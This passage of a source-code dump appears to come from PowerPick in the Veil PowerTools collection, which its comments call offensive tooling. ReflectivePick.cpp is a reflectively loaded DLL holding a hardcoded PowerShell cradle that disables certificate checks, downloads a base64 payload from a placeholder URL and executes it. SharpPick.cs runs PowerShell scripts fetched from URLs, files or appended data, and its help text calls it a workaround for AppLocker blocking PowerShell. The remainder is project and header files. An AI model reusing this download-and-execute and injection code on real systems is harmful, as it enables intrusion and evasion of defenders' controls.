DWORD dwHeapDeCommitTotalFreeThreshold; 162 | DWORD dwHeapDeCommitFreeBlockThreshold; 163 | DWORD dwNumberOfHeaps; 164 | DWORD dwMaximumNumberOfHeaps; 165 | LPVOID lpProcessHeaps; 166 | LPVOID lpGdiSharedHandleTable; 167 | LPVOID lpProcessStarterHelper; 168 | DWORD dwGdiDCAttributeList; 169 | LPVOID lpLoaderLock; 170 | DWORD dwOSMajorVersion; 171 | DWORD dwOSMinorVersion; 172 | WORD wOSBuildNumber; 173 | WORD wOSCSDVersion; 174 | DWORD dwOSPlatformId; 175 | DWORD dwImageSubsystem; 176 | DWORD dwImageSubsystemMajorVersion; 177 | DWORD dwImageSubsystemMinorVersion; 178 | DWORD dwImageProcessAffinityMask; 179 | DWORD dwGdiHandleBuffer[34]; 180 | LPVOID lpPostProcessInitRoutine; 181 | LPVOID lpTlsExpansionBitmap; 182 | DWORD dwTlsExpansionBitmapBits[32]; 183 | DWORD dwSessionId; 184 | ULARGE_INTEGER liAppCompatFlags; 185 | ULARGE_INTEGER liAppCompatFlagsUser; 186 | LPVOID lppShimData; 187 | LPVOID lpAppCompatInfo; 188 | UNICODE_STR usCSDVersion; 189 | LPVOID lpActivationContextData; 190 | LPVOID lpProcessAssemblyStorageMap; 191 | LPVOID lpSystemDefaultActivationContextData; 192 | LPVOID lpSystemAssemblyStorageMap; 193 | DWORD dwMinimumStackCommit; 194 | } _PEB, * _PPEB; 195 | 196 | typedef struct 197 | { 198 | WORD offset:12; 199 | WORD type:4; 200 | } IMAGE_RELOC, *PIMAGE_RELOC; 201 | //===============================================================================================// 202 | #endif 203 | //===============================================================================================// -------------------------------------------------------------------------------- /PowerPick/ReflectivePick/ReflectivePick.cpp: -------------------------------------------------------------------------------- 1 | /* 2 | * ReflectivePick 3 | * Description: This DLL loads is reflectively loaded into a local/remote process to introduce and run powershell code. Made to be used with 4 | * PSInject.ps1 to basically add migrate/inject capability to powershell. 5 | * 6 | * THIS CODE IS ALMOST ENTIRELY FROM UnmanagedPowerShell by Lee Christensen (@tifkin_). It was transformed from an exe format into a 7 | * Reflective DLL to be used within the PowerPick project. Please recognize that credit for the disovery of this method of running PS code 8 | * from C++ and all code contained within was his original work. The original executable can be found here: https://github.com/leechristensen/UnmanagedPowerShell 9 | * 10 | * License: 3-Clause BSD License. See Veil PowerTools Project 11 | * 12 | * This application is part of Veil PowerTools, a collection of offensive PowerShell 13 | * capabilities. Hope they help! 14 | * 15 | * This is part of a sub-repo of PowerPick, a toolkit used to run PowerShell code without the use of Powershell.exe 16 | */ 17 | 18 | #include "stdafx.h" 19 | #pragma region Includes and Imports 20 | #include 21 | #include 22 | #include 23 | #include "PowerShellRunnerDll.h" 24 | 25 | #include 26 | #pragma comment(lib, "mscoree.lib") 27 | 28 | // Import mscorlib.tlb (Microsoft Common Language Runtime Class Library). 29 | #import "mscorlib.tlb" raw_interfaces_only \ 30 | high_property_prefixes("_get","_put","_putref") \ 31 | rename("ReportEvent", "InteropServices_ReportEvent") 32 | using namespace mscorlib; 33 | #pragma endregion 34 | 35 | 36 | 37 | extern const unsigned int PowerShellRunner_dll_len; 38 | extern unsigned char PowerShellRnuner_dll[]; 39 | void InvokeMethod(_TypePtr spType, wchar_t* method, wchar_t* command); 40 | 41 | extern "C" __declspec( dllexport ) void VoidFunc() 42 | { 43 | 44 | HRESULT hr; 45 | 46 | ICLRMetaHost *pMetaHost = NULL; 47 | ICLRRuntimeInfo *pRuntimeInfo = NULL; 48 | ICorRuntimeHost *pCorRuntimeHost = NULL; 49 | 50 | IUnknownPtr spAppDomainThunk = NULL; 51 | _AppDomainPtr spDefaultAppDomain = NULL; 52 | 53 | // The .NET assembly to load. 54 | bstr_t bstrAssemblyName("PowerShellRunner"); 55 | _AssemblyPtr spAssembly = NULL; 56 | 57 | // The .NET class to instantiate. 58 | bstr_t bstrClassName("PowerShellRunner.PowerShellRunner"); 59 | _TypePtr spType = NULL; 60 | 61 | 62 | // Start the runtime 63 | hr = CLRCreateInstance(CLSID_CLRMetaHost, IID_PPV_ARGS(&pMetaHost)); 64 | if (FAILED(hr)) 65 | { 66 | wprintf(L"CLRCreateInstance failed w/hr 0x%08lx\n", hr); 67 | goto Cleanup; 68 | } 69 | 70 | hr = pMetaHost->GetRuntime(L"v2.0.50727", IID_PPV_ARGS(&pRuntimeInfo)); 71 | if (FAILED(hr)) 72 | { 73 | wprintf(L"ICLRMetaHost::GetRuntime failed w/hr 0x%08lx\n", hr); 74 | goto Cleanup; 75 | } 76 | 77 | // Check if the specified runtime can be loaded into the process. 78 | BOOL fLoadable; 79 | hr = pRuntimeInfo->IsLoadable(&fLoadable); 80 | if (FAILED(hr)) 81 | { 82 | wprintf(L"ICLRRuntimeInfo::IsLoadable failed w/hr 0x%08lx\n", hr); 83 | goto Cleanup; 84 | } 85 | 86 | if (!fLoadable) 87 | { 88 | wprintf(L".NET runtime v2.0.50727 cannot be loaded\n"); 89 | goto Cleanup; 90 | } 91 | 92 | // Load the CLR into the current process and return a runtime interface 93 | hr = pRuntimeInfo->GetInterface(CLSID_CorRuntimeHost, 94 | IID_PPV_ARGS(&pCorRuntimeHost)); 95 | if (FAILED(hr)) 96 | { 97 | wprintf(L"ICLRRuntimeInfo::GetInterface failed w/hr 0x%08lx\n", hr); 98 | goto Cleanup; 99 | } 100 | 101 | // Start the CLR. 102 | hr = pCorRuntimeHost->Start(); 103 | if (FAILED(hr)) 104 | { 105 | wprintf(L"CLR failed to start w/hr 0x%08lx\n", hr); 106 | goto Cleanup; 107 | } 108 | 109 | 110 | // Get a pointer to the default AppDomain in the CLR. 111 | hr = pCorRuntimeHost->GetDefaultDomain(&spAppDomainThunk); 112 | if (FAILED(hr)) 113 | { 114 | wprintf(L"ICorRuntimeHost::GetDefaultDomain failed w/hr 0x%08lx\n", hr); 115 | goto Cleanup; 116 | } 117 | 118 | hr = spAppDomainThunk->QueryInterface(IID_PPV_ARGS(&spDefaultAppDomain)); 119 | if (FAILED(hr)) 120 | { 121 | wprintf(L"Failed to get default AppDomain w/hr 0x%08lx\n", hr); 122 | goto Cleanup; 123 | } 124 | 125 | // Load the .NET assembly. 126 | // (Option 1) Load it from disk - usefully when debugging the PowerShellRunner app (you'll have to copy the DLL into the same directory as the exe) 127 | //hr = spDefaultAppDomain->Load_2(bstrAssemblyName, &spAssembly); 128 | 129 | // (Option 2) Load the assembly from memory 130 | SAFEARRAYBOUND bounds[1]; 131 | bounds[0].cElements = PowerShellRunner_dll_len; 132 | bounds[0].lLbound = 0; 133 | 134 | SAFEARRAY* arr = SafeArrayCreate(VT_UI1, 1, bounds); 135 | SafeArrayLock(arr); 136 | memcpy(arr->pvData, PowerShellRunner_dll, PowerShellRunner_dll_len); 137 | SafeArrayUnlock(arr); 138 | 139 | hr = spDefaultAppDomain->Load_3(arr, &spAssembly); 140 | 141 | if (FAILED(hr)) 142 | { 143 | wprintf(L"Failed to load the assembly w/hr 0x%08lx\n", hr); 144 | goto Cleanup; 145 | } 146 | 147 | // Get the Type of PowerShellRunner. 148 | hr = spAssembly->GetType_2(bstrClassName, &spType); 149 | if (FAILED(hr)) 150 | { 151 | wprintf(L"Failed to get the Type interface w/hr 0x%08lx\n", hr); 152 | goto Cleanup; 153 | } 154 | 155 | // Call the static method of the class 156 | wchar_t* argument = L"[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};iex ([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String((New-Object Net.WebClient).DownloadString(\"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\"))))"; 157 | 158 | //Output debug 159 | //DWORD pid = GetCurrentProcessId(); 160 | //wchar_t msg[100]; 161 | //swprintf_s(msg,L"Powershell running from pid %d!",pid); 162 | //MessageBox(NULL,msg,L"Info",MB_OK); 163 | 164 | InvokeMethod(spType, L"InvokePS", argument); 165 | 166 | Cleanup: 167 | 168 | if (pMetaHost) 169 | { 170 | pMetaHost->Release(); 171 | pMetaHost = NULL; 172 | } 173 | if (pRuntimeInfo) 174 | { 175 | pRuntimeInfo->Release(); 176 | pRuntimeInfo = NULL; 177 | } 178 | if (pCorRuntimeHost) 179 | { 180 | pCorRuntimeHost->Release(); 181 | pCorRuntimeHost = NULL; 182 | } 183 | 184 | return; 185 | } 186 | 187 | void InvokeMethod(_TypePtr spType, wchar_t* method, wchar_t* command) 188 | { 189 | HRESULT hr; 190 | bstr_t bstrStaticMethodName(method); 191 | SAFEARRAY *psaStaticMethodArgs = NULL; 192 | variant_t vtStringArg(command); 193 | variant_t vtPSInvokeReturnVal; 194 | variant_t vtEmpty; 195 | 196 | 197 | psaStaticMethodArgs = SafeArrayCreateVector(VT_VARIANT, 0, 1); 198 | LONG index = 0; 199 | hr = SafeArrayPutElement(psaStaticMethodArgs, &index, &vtStringArg); 200 | if (FAILED(hr)) 201 | { 202 | wprintf(L"SafeArrayPutElement failed w/hr 0x%08lx\n", hr); 203 | return; 204 | } 205 | 206 | // Invoke the method from the Type interface. 207 | hr = spType->InvokeMember_3( 208 | bstrStaticMethodName, 209 | static_cast(BindingFlags_InvokeMethod | BindingFlags_Static | BindingFlags_Public), 210 | NULL, 211 | vtEmpty, 212 | psaStaticMethodArgs, 213 | &vtPSInvokeReturnVal); 214 | 215 | if (FAILED(hr)) 216 | { 217 | wprintf(L"Failed to invoke InvokePS w/hr 0x%08lx\n", hr); 218 | return; 219 | } 220 | else 221 | { 222 | // Print the output of the command 223 | wprintf(vtPSInvokeReturnVal.bstrVal); 224 | } 225 | 226 | 227 | SafeArrayDestroy(psaStaticMethodArgs); 228 | psaStaticMethodArgs = NULL; 229 | } 230 | -------------------------------------------------------------------------------- /PowerPick/ReflectivePick/ReflectivePick.h: -------------------------------------------------------------------------------- 1 | 2 | HINSTANCE hAppInstance; -------------------------------------------------------------------------------- /PowerPick/ReflectivePick/ReflectivePick.vcxproj: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | Debug 6 | Win32 7 | 8 | 9 | Debug 10 | x64 11 | 12 | 13 | Release 14 | Win32 15 | 16 | 17 | Release 18 | x64 19 | 20 | 21 | 22 | {7C3D26E5-0A61-479A-AFAC-D34F2659F301} 23 | Win32Proj 24 | ReflectivePosh 25 | ReflectivePick 26 | 27 | 28 | 29 | DynamicLibrary 30 | true 31 | Unicode 32 | 33 | 34 | DynamicLibrary 35 | true 36 | Unicode 37 | 38 | 39 | DynamicLibrary 40 | false 41 | true 42 | Unicode 43 | 44 | 45 | DynamicLibrary 46 | false 47 | true 48 | Unicode 49 | 50 | 51 | 52 | 53 | 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | true 68 | $(SolutionDir)bin\x86\$(Configuration)\ 69 | $(ProjectName) 70 | $(Platform)\$(Configuration)\ 71 | 72 | 73 | true 74 | $(SolutionDir)bin\x64\$(Configuration)\ 75 | $(ProjectName) 76 | $(Platform)\$(Configuration)\ 77 | 78 | 79 | false 80 | $(SolutionDir)bin\x86\$(Configuration)\ 81 | $(ProjectName)_x86 82 | $(Platform)\$(Configuration)\ 83 | 84 | 85 | false 86 | $(SolutionDir)bin\x64\$(Configuration)\ 87 | $(ProjectName)_x64 88 | $(Platform)\$(Configuration)\ 89 | 90 | 91 | 92 | Use 93 | Level3 94 | Disabled 95 | WIN32;_DEBUG;_WINDOWS;_USRDLL;REFLECTIVEPOSH_EXPORTS;WIN_X86;REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN;%(PreprocessorDefinitions) 96 | MultiThreaded 97 | 98 | 99 | Windows 100 | true 101 | $(OutDir)$(TargetName)_x86$(TargetExt) 102 | 103 | 104 | 105 | 106 | Use 107 | Level3 108 | Disabled 109 | WIN32;_DEBUG;_WINDOWS;_USRDLL;REFLECTIVEPOSH_EXPORTS;WIN_X64;REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN;%(PreprocessorDefinitions) 110 | MultiThreaded 111 | 112 | 113 | Windows 114 | true 115 | $(OutDir)$(TargetName)_x64$(TargetExt) 116 | 117 | 118 | 119 | 120 | Level3 121 | Use 122 | MinSpace 123 | true 124 | false 125 | WIN32;NDEBUG;_WINDOWS;_USRDLL;REFLECTIVEPOSH_EXPORTS;WIN_X86;REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN;%(PreprocessorDefinitions) 126 | false 127 | MultiThreaded 128 | 129 | 130 | Windows 131 | false 132 | true 133 | true 134 | 135 | 136 | 137 | 138 | Level3 139 | Use 140 | MinSpace 141 | true 142 | true 143 | WIN32;NDEBUG;_WINDOWS;_USRDLL;REFLECTIVEPOSH_EXPORTS;WIN_X64;REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN;%(PreprocessorDefinitions) 144 | MultiThreaded 145 | 146 | 147 | Windows 148 | false 149 | true 150 | true 151 | 152 | 153 | 154 | 155 | 156 | 157 | 158 | 159 | 160 | 161 | 162 | 163 | false 164 | false 165 | 166 | 167 | 168 | 169 | false 170 | false 171 | 172 | 173 | 174 | 175 | 176 | 177 | NotUsing 178 | NotUsing 179 | NotUsing 180 | NotUsing 181 | 182 | 183 | 184 | Create 185 | Create 186 | Create 187 | Create 188 | 189 | 190 | 191 | 192 | 193 | -------------------------------------------------------------------------------- /PowerPick/ReflectivePick/ReflectivePick.vcxproj.filters: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF} 6 | cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx 7 | 8 | 9 | {93995380-89BD-4b04-88EB-625FBE52EBFB} 10 | h;hpp;hxx;hm;inl;inc;xsd 11 | 12 | 13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} 14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms 15 | 16 | 17 | 18 | 19 | Header Files 20 | 21 | 22 | Header Files 23 | 24 | 25 | Header Files 26 | 27 | 28 | Header Files 29 | 30 | 31 | Header Files 32 | 33 | 34 | Header Files 35 | 36 | 37 | 38 | 39 | Source Files 40 | 41 | 42 | Source Files 43 | 44 | 45 | Source Files 46 | 47 | 48 | Source Files 49 | 50 | 51 | -------------------------------------------------------------------------------- /PowerPick/ReflectivePick/ReflectivePick.vcxproj.user: -------------------------------------------------------------------------------- 1 |  2 | 3 | -------------------------------------------------------------------------------- /PowerPick/ReflectivePick/dllmain.cpp: -------------------------------------------------------------------------------- 1 | // dllmain.cpp : Defines the entry point for the DLL application. 2 | #include "stdafx.h" 3 | #include "ReflectivePick.h" 4 | #include "ReflectiveLoader.h" 5 | #include 6 | 7 | extern HINSTANCE hAppInstance; 8 | 9 | BOOL WINAPI DllMain( HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved ) 10 | { 11 | BOOL bReturnValue = TRUE; 12 | switch (dwReason) 13 | { 14 | case DLL_QUERY_HMODULE: 15 | if( lpReserved != NULL ) 16 | *(HMODULE *)lpReserved = hAppInstance; 17 | break; 18 | case DLL_PROCESS_ATTACH: 19 | hAppInstance = hinstDLL; 20 | break; 21 | case DLL_THREAD_ATTACH: 22 | case DLL_THREAD_DETACH: 23 | break; 24 | } 25 | return bReturnValue; 26 | } 27 | 28 | -------------------------------------------------------------------------------- /PowerPick/ReflectivePick/stdafx.cpp: -------------------------------------------------------------------------------- 1 | // stdafx.cpp : source file that includes just the standard includes 2 | // ReflectivePosh.pch will be the pre-compiled header 3 | // stdafx.obj will contain the pre-compiled type information 4 | 5 | #include "stdafx.h" 6 | 7 | // TODO: reference any additional headers you need in STDAFX.H 8 | // and not in this file 9 | -------------------------------------------------------------------------------- /PowerPick/ReflectivePick/stdafx.h: -------------------------------------------------------------------------------- 1 | // stdafx.h : include file for standard system include files, 2 | // or project specific include files that are used frequently, but 3 | // are changed infrequently 4 | // 5 | 6 | #pragma once 7 | 8 | #include "targetver.h" 9 | 10 | #define WIN32_LEAN_AND_MEAN // Exclude rarely-used stuff from Windows headers 11 | // Windows Header Files: 12 | #include 13 | 14 | 15 | 16 | // TODO: reference additional headers your program requires here 17 | -------------------------------------------------------------------------------- /PowerPick/ReflectivePick/targetver.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | // Including SDKDDKVer.h defines the highest available Windows platform. 4 | 5 | // If you wish to build your application for a previous Windows platform, include WinSDKVer.h and 6 | // set the _WIN32_WINNT macro to the platform you wish to support before including SDKDDKVer.h. 7 | 8 | #include 9 | -------------------------------------------------------------------------------- /PowerPick/SharpPick/.DS_Store: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cheetz/PowerTools/feba7a6cecb806ce41411b87f5bcb7cefcb1af45/PowerPick/SharpPick/.DS_Store -------------------------------------------------------------------------------- /PowerPick/SharpPick/Program.cs: -------------------------------------------------------------------------------- 1 | /* 2 | * SharpPick aka InexorablePoSH 3 | * Description: Application to load and run powershell code via the .NET assemblies 4 | * License: 3-Clause BSD License. See Veil PowerTools Project 5 | * 6 | * This application is part of Veil PowerTools, a collection of offensive PowerShell 7 | * capabilities. Hope they help! 8 | * 9 | * This is part of a sub-repo of PowerPick, a toolkit used to run PowerShell code without the use of Powershell.exe 10 | */ 11 | 12 | using System; 13 | using System.IO; 14 | using System.Resources; 15 | using System.Collections.Generic; 16 | using System.Linq; 17 | using System.Text; 18 | using System.Net; 19 | 20 | //Adding libraries for powershell stuff 21 | using System.Collections.ObjectModel; 22 | using System.Management.Automation; 23 | using System.Management.Automation.Runspaces; 24 | 25 | 26 | namespace SharpPick 27 | { 28 | class Program 29 | { 30 | static string RunPS(string cmd) 31 | { 32 | //Init stuff 33 | Runspace runspace = RunspaceFactory.CreateRunspace(); 34 | runspace.Open(); 35 | RunspaceInvoke scriptInvoker = new RunspaceInvoke(runspace); 36 | Pipeline pipeline = runspace.CreatePipeline(); 37 | 38 | //Add commands 39 | pipeline.Commands.AddScript(cmd); 40 | 41 | //Prep PS for string output and invoke 42 | pipeline.Commands.Add("Out-String"); 43 | Collection results = pipeline.Invoke(); 44 | runspace.Close(); 45 | 46 | //Convert records to strings 47 | StringBuilder stringBuilder = new StringBuilder(); 48 | foreach (PSObject obj in results) 49 | { 50 | stringBuilder.Append(obj); 51 | } 52 | return stringBuilder.ToString().Trim(); 53 | } 54 | 55 | static void PrintHelp() 56 | { 57 | Console.Write("InexorablePoSH\n" + 58 | "Workaround for AppLocker deny of Powershell using .NET\n" + 59 | "\n" + 60 | "inexorableposh.exe [ ]\n" + 61 | "flags:\n" + 62 | "-f : Read script from specified file\n" + 63 | "-r : Read script from specified resource\n" + 64 | "-d : Read script from URL\n" + 65 | "-a : Read script appended to current binary after specified delimeter. Delimeter should be very very unique string\n" + 66 | "-c : PowerShell command to execute, enclosed on quotes."); 67 | } 68 | 69 | static int Main(string[] args) 70 | { 71 | string script; 72 | 73 | //Check the options 74 | if (args.Length != 2) 75 | { 76 | Console.WriteLine("[!] Error: Proper arguments required"); 77 | PrintHelp(); 78 | return -1; 79 | } 80 | 81 | //define our flag and argument 82 | string flag = args[0]; 83 | string optarg = args[1]; 84 | 85 | //Check all our options for the flag 86 | //When found right flag, get the script variable in the specified manner 87 | if (flag == "-f") 88 | { 89 | //read file from disk and pass to powershell 90 | try 91 | { 92 | script = System.IO.File.ReadAllText(optarg); 93 | } 94 | catch 95 | { 96 | Console.WriteLine("[!] Error: File Fail"); 97 | return (-1); 98 | } 99 | } 100 | else if (flag == "-r") 101 | { 102 | //Read powershell from resource of a specific name 103 | try 104 | { 105 | script = Properties.Resources.ResourceManager.GetString(optarg); 106 | } 107 | catch 108 | { 109 | Console.WriteLine("[!] Error: Resource Fail"); 110 | return (-1); 111 | } 112 | } 113 | else if (flag == "-d") 114 | { 115 | //download the script 116 | try 117 | { 118 | WebClient psdown = new WebClient(); 119 | script = psdown.DownloadString(optarg); 120 | } 121 | catch 122 | { 123 | Console.WriteLine("[!] Error: Download Fail"); 124 | return (-1); 125 | } 126 | } 127 | else if (flag == "-a") 128 | { 129 | try 130 | { 131 | string self = System.Diagnostics.Process.GetCurrentProcess().MainModule.FileName; 132 | string selfcontent = System.IO.File.ReadAllText(self); 133 | script = selfcontent.Split(new string[] { optarg }, StringSplitOptions.None)[1]; 134 | } 135 | catch 136 | { 137 | Console.WriteLine("[!] Error: Append Read fail"); 138 | return (-1); 139 | } 140 | } 141 | else if (flag == "-c") 142 | { 143 | try 144 | { 145 | script = optarg; 146 | } 147 | catch 148 | { 149 | Console.WriteLine("[!] Error: Command fail"); 150 | return (-1); 151 | } 152 | } 153 | else 154 | { 155 | Console.WriteLine("[!] Error: Improper flag"); 156 | PrintHelp(); 157 | return (-1); 158 | } 159 | 160 | //We should now have the script variable filled... double check before executing 161 | if (script != null) 162 | { 163 | string results = RunPS(script); 164 | Console.Write(results); 165 | } 166 | return 0; 167 | 168 | } 169 | } 170 | } 171 | -------------------------------------------------------------------------------- /PowerPick/SharpPick/Properties/AssemblyInfo.cs: -------------------------------------------------------------------------------- 1 | using System.Reflection; 2 | using System.Runtime.CompilerServices; 3 | using System.Runtime.InteropServices; 4 | 5 | // General Information about an assembly is controlled through the following 6 | // set of attributes. Change these attribute values to modify the information 7 | // associated with an assembly. 8 | [assembly: AssemblyTitle("PowerPick")] 9 | [assembly: AssemblyDescription("")] 10 | [assembly: AssemblyConfiguration("")] 11 | [assembly: AssemblyCompany("")] 12 | [assembly: AssemblyProduct("PowerPick")] 13 | [assembly: AssemblyCopyright("Copyright © 2014")] 14 | [assembly: AssemblyTrademark("")] 15 | [assembly: AssemblyCulture("")] 16 | 17 | // Setting ComVisible to false makes the types in this assembly not visible 18 | // to COM components. If you need to access a type in this assembly from 19 | // COM, set the ComVisible attribute to true on that type. 20 | [assembly: ComVisible(false)] 21 | 22 | // The following GUID is for the ID of the typelib if this project is exposed to COM 23 | [assembly: Guid("ee46098e-3711-4c27-a61a-9b51cf637346")] 24 | 25 | // Version information for an assembly consists of the following four values: 26 | // 27 | // Major Version 28 | // Minor Version 29 | // Build Number 30 | // Revision 31 | // 32 | // You can specify all the values or you can default the Build and Revision Numbers 33 | // by using the '*' as shown below: 34 | // [assembly: AssemblyVersion("1.0.*")] 35 | [assembly: AssemblyVersion("1.0.0.0")] 36 | [assembly: AssemblyFileVersion("1.0.0.0")] 37 | -------------------------------------------------------------------------------- /PowerPick/SharpPick/Properties/Resources.Designer.cs: -------------------------------------------------------------------------------- 1 | //------------------------------------------------------------------------------ 2 | // 3 | // This code was generated by a tool. 4 | // Runtime Version:4.0.30319.18444 5 | // 6 | // Changes to this file may cause incorrect behavior and will be lost if 7 | // the code is regenerated. 8 | // 9 | //------------------------------------------------------------------------------ 10 | 11 | namespace SharpPick.Properties { 12 | using System; 13 | 14 | 15 | /// 16 | /// A strongly-typed resource class, for looking up localized strings, etc. 17 | /// 18 | // This class was auto-generated by the StronglyTypedResourceBuilder 19 | // class via a tool like ResGen or Visual Studio. 20 | // To add or remove a member, edit your .ResX file then rerun ResGen 21 | // with the /str option, or rebuild your VS project. 22 | [global::System.CodeDom.Compiler.GeneratedCodeAttribute("System.Resources.Tools.StronglyTypedResourceBuilder", "4.0.0.0")] 23 | [global::System.Diagnostics.DebuggerNonUserCodeAttribute()] 24 | [global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()] 25 | internal class Resources { 26 | 27 | private static global::System.Resources.ResourceManager resourceMan; 28 | 29 | private static global::System.Globalization.CultureInfo resourceCulture; 30 | 31 | [global::System.Diagnostics.CodeAnalysis.SuppressMessageAttribute("Microsoft.Performance", "CA1811:AvoidUncalledPrivateCode")] 32 | internal Resources() { 33 | } 34 | 35 | /// 36 | /// Returns the cached ResourceManager instance used by this class. 37 | /// 38 | [global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)] 39 | internal static global::System.Resources.ResourceManager ResourceManager { 40 | get { 41 | if (object.ReferenceEquals(resourceMan, null)) { 42 | global::System.Resources.ResourceManager temp = new global::System.Resources.ResourceManager("SharpPick.Properties.Resources", typeof(Resources).Assembly); 43 | resourceMan = temp; 44 | } 45 | return resourceMan; 46 | } 47 | } 48 | 49 | /// 50 | /// Overrides the current thread's CurrentUICulture property for all 51 | /// resource lookups using this strongly typed resource class. 52 | /// 53 | [global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)] 54 | internal static global::System.Globalization.CultureInfo Culture { 55 | get { 56 | return resourceCulture; 57 | } 58 | set { 59 | resourceCulture = value; 60 | } 61 | } 62 | 63 | /// 64 | /// Looks up a localized string similar to . 65 | /// 66 | internal static string Script { 67 | get { 68 | return ResourceManager.GetString("Script", resourceCulture); 69 | } 70 | } 71 | } 72 | } 73 | -------------------------------------------------------------------------------- /PowerPick/SharpPick/Properties/Resources.resx: -------------------------------------------------------------------------------- 1 |  2 | 3 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | 76 | 77 | 78 | 79 | 80 | 81 | 82 | 83 | 84 | 85 | 86 | 87 | 88 | 89 | 90 | 91 | 92 | 93 | 94 | 95 | 96 | 97 | 98 | 99 | 100 | 101 | 102 | 103 | 104 | 105 | 106 | 107 | 108 | 109 | text/microsoft-resx 110 | 111 | 112 | 2.0 113 | 114 | 115 | System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 116 | 117 | 118 | System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 119 | 120 | 121 | 122 | 123 | -------------------------------------------------------------------------------- /PowerPick/SharpPick/SharpPick.csproj: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | Debug 5 | x86 6 | 8.0.30703 7 | 2.0 8 | {5ED2F78E-8538-4C87-BCED-E19E9DAD879C} 9 | Exe 10 | Properties 11 | SharpPick 12 | SharpPick 13 | v4.0 14 | Client 15 | 512 16 | publish\ 17 | true 18 | Disk 19 | false 20 | Foreground 21 | 7 22 | Days 23 | false 24 | false 25 | true 26 | 0 27 | 1.0.0.%2a 28 | false 29 | false 30 | true 31 | 32 | 33 | true 34 | ..\bin\x64\Debug\ 35 | DEBUG;TRACE 36 | full 37 | x64 38 | bin\Debug\PowerPick.exe.CodeAnalysisLog.xml 39 | true 40 | GlobalSuppressions.cs 41 | prompt 42 | MinimumRecommendedRules.ruleset 43 | ;C:\Program Files (x86)\Microsoft Visual Studio 10.0\Team Tools\Static Analysis Tools\\Rule Sets 44 | false 45 | ;C:\Program Files (x86)\Microsoft Visual Studio 10.0\Team Tools\Static Analysis Tools\FxCop\\Rules 46 | false 47 | 48 | 49 | ..\bin\x64\Release\ 50 | TRACE 51 | true 52 | pdbonly 53 | x64 54 | bin\Release\PowerPick.exe.CodeAnalysisLog.xml 55 | true 56 | GlobalSuppressions.cs 57 | prompt 58 | MinimumRecommendedRules.ruleset 59 | ;C:\Program Files (x86)\Microsoft Visual Studio 10.0\Team Tools\Static Analysis Tools\\Rule Sets 60 | ;C:\Program Files (x86)\Microsoft Visual Studio 10.0\Team Tools\Static Analysis Tools\FxCop\\Rules 61 | 62 | 63 | true 64 | ..\bin\x86\Debug\ 65 | TRACE;DEBUG 66 | full 67 | x86 68 | bin\Debug\PowerPick.exe.CodeAnalysisLog.xml 69 | true 70 | GlobalSuppressions.cs 71 | prompt 72 | MinimumRecommendedRules.ruleset 73 | ;C:\Program Files (x86)\Microsoft Visual Studio 10.0\Team Tools\Static Analysis Tools\\Rule Sets 74 | ;C:\Program Files (x86)\Microsoft Visual Studio 10.0\Team Tools\Static Analysis Tools\FxCop\\Rules 75 | 76 | 77 | ..\bin\x86\Release\ 78 | TRACE 79 | true 80 | pdbonly 81 | x86 82 | bin\Release\PowerPick.exe.CodeAnalysisLog.xml 83 | true 84 | GlobalSuppressions.cs 85 | prompt 86 | MinimumRecommendedRules.ruleset 87 | ;C:\Program Files (x86)\Microsoft Visual Studio 10.0\Team Tools\Static Analysis Tools\\Rule Sets 88 | ;C:\Program Files (x86)\Microsoft Visual Studio 10.0\Team Tools\Static Analysis Tools\FxCop\\Rules 89 | 90 | 91 | 92 | 93 | 94 | False 95 | ..\..\..\..\..\..\..\Program Files\Reference Assemblies\Microsoft\WindowsPowerShell\v1.0\System.Management.Automation.dll 96 | 97 | 98 | 99 | 100 | 101 | 102 | 103 | 104 | 105 | 106 | 107 | True 108 | True 109 | Resources.resx 110 | 111 | 112 | 113 | 114 | ResXFileCodeGenerator 115 | Resources.Designer.cs 116 | 117 | 118 | 119 | 120 | False 121 | Microsoft .NET Framework 4 Client Profile %28x86 and x64%29 122 | true 123 | 124 | 125 | False 126 | .NET Framework 3.5 SP1 Client Profile 127 | false 128 | 129 | 130 | False 131 | .NET Framework 3.5 SP1 132 | false 133 | 134 | 135 | False 136 | Windows Installer 3.1 137 | true 138 | 139 | 140 | 141 | 148 | -------------------------------------------------------------------------------- /PowerPick/SharpPick/SharpPick.csproj.user: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | publish\ 5 | 6 | 7 | 8 | 9 | 10 | en-US 11 | false 12 | 13 | 14 | -f c:\users\sixdub\desktop\test.ps1 15 | 16 | 17 | -f c:\users\sixdub\desktop\test.ps1 18 | 19 | 20 | -f 